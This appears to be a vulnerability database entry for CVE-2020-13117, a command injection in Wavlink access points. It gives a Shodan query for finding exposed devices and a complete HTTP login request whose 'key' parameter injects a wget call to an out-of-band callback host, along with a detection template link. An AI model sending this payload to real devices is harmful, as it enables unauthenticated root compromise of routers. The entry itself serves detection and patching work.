| Title | Wavlink Multiple AP - Remote Command Injection |
|---|---|
| Author | gy741 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the affected device. |
| Remediation | Apply the latest firmware update provided by the vendor to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93939 |
| CVE ID | CVE-2020-13117 |
| CWE ID | CWE-77 |
| Shodan Query | http.title:"Wi-Fi APP Login" |
| Tags | cve cve2020 wavlink rce oast router vkev vuln |
Wavlink products are affected by a vulnerability that may allow remote unauthenticated users to execute arbitrary commands as root on Wavlink devices. The user input is not properly sanitized which allows command injection via the “key” parameter in a login request. It has been tested on Wavlink WN575A4 and WN579X3 devices, but other products may also be affected.
POST /cgi-bin/login.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:140.0.) Gecko/20100101 Firefox/140.0.
Connection: close
Content-Length: 275
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Origin: http://www.victim.com
newUI=1&page=login&username=admin&langChange=0&ipaddr=192.168.1.66&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=wifi.wavlink.com&key=%27%3B%60wget+http%3A%2F%2Fd5joh01le0o2tc6stre07tsn79u9wq6cr.oast.pro%3B%60%3B%23&password=asd&lang_select=en
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-13117.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-13117.pcap
N/AN/A